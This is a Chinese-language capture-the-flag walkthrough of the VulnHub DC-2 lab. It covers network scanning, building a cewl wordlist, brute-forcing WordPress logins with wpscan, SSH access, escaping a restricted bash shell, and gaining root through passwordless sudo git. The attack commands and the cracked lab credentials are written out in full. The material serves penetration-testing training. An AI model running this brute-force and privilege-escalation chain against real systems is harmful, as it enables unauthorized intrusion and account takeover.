基本資訊
Kali:192。168。61。145
DC2:192。168。61。162
實驗過程
在Kali中先進行內網探活
sudo arp‐scan ‐‐interface eth0 192。168。61。1/24
排查篩選得知,192。168。61。162為DC2的IP地址。
接下來用Nmap對DC2進行埠掃描
nmap ‐sC ‐sV ‐p- ‐oA ~/vulnhub/DC2 192。168。61。162
可知DC2開啟了80埠和7744埠,根據資訊可知7744埠為SSH
我們先訪問下DC2的80埠
返回一個錯誤頁面,F12可以看到網頁做了一個301永久重定向
我們編輯下Kali的hosts檔案
sudo vim /etc/hosts
新增一條
192。168。61。162 dc‐2
再次用kali開啟dc-2,即可正常顯示
在頁面中即可找到flag1
Flag 1:Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl。More passwords is always better, but sometimes you just can’t win them all。Log in as one to see the next flag。If you can’t find it, log in as another。
Flag1提示我們要使用cwel來生成密碼字典
cewl dc‐2 > pwd。txt
使用wpscan可以掃出當前wp的漏洞
wpscan ‐‐url http://dc‐2/
我們用wpscan枚舉出當前存在的使用者,並存入username。txt中
wpscan ‐‐url http://dc‐2 ‐e u
然後我們用剛剛生成的username。txt和pwd。txt進行賬號密碼遍歷
wpscan ‐‐url http://dc‐2/ ‐U username。txt ‐P pwd。txt
[SUCCESS] ‐ jerry / adipiscing
[SUCCESS] ‐ tom / parturient
然後我們開啟wp的管理後臺,一般都是wp-admin
http://dc‐2/wp‐admin
先登入jerry的賬號,發現flag2
Flag 2:If you can‘t exploit WordPress and take a shortcut, there is another way。Hope you found another entry point。
flag2說我們無法攻擊WP,我們需要尋找別的方法
然後登入tom沒有什麼額外的發現
靶機除了80還有7744(SSH)埠,我們也可以用這2個賬號嘗試下
jerry無法登入SSH,但是tom是可以順利登入SSH
我們先看看tom可以執行那些命令
tom@DC‐2:~$ echo $PATH
tom@DC‐2:~$ echo /home/tom/usr/bin/*
可以看到只能執行less,ls,scp,vi
我們ls下發現flag3。txt,在用less獲取flag3的內容
Poor old Tom is always running after Jerry。 Perhaps he should su for all the stress hecauses
感覺這句話的意思像是提示我們要su到jerry,但是我們無法使用su命令
所以我們需要繞過rbash(受限的bash)
tom@DC‐2:~$ BASH_CMDS[a]=/bin/sh;a
$ /bin/bash
tom@DC‐2:~$ export PATH=$PATH:/bin/tom@DC‐2:~$ export PATH=$PATH:/usr/bin
然後我們切換到jerry,密碼為adipiscing
切換到jerry的家目錄就可以得到flag4。txt
查詢下suid檔案
find / ‐perm ‐u=s ‐type f 2>/dev/null
並沒有像dc-1那樣可以利用find
那麼我們看看jerry有沒有可以執行的具有root許可權的命令
sudo ‐l
這裡有一個很明顯的git命令,還是不需要密碼的
去網上找下利用git命令提權的文章
https://www。cnblogs。com/zaqzzz/p/12075132。html#3git%E6%8F%90%E6%9D%83
jerry@DC‐2:~$ sudo git ‐p help
!/bin/bash
得到最後的final-flag
額外內容
rbash另一種繞過方式
# vi編輯shell# 命令模式分別輸入 :set shell=/bin/bash:shelltom@DC‐2:~$ vi shell
tom@DC‐2:~$ export PATH=/usr/sbin:/usr/bin:/sbin:/bintom@DC‐2:~$ su jerryPassword:jerry@DC‐2:/home/tom$
另一種檢視當前使用者可用命令方式
compgen ‐c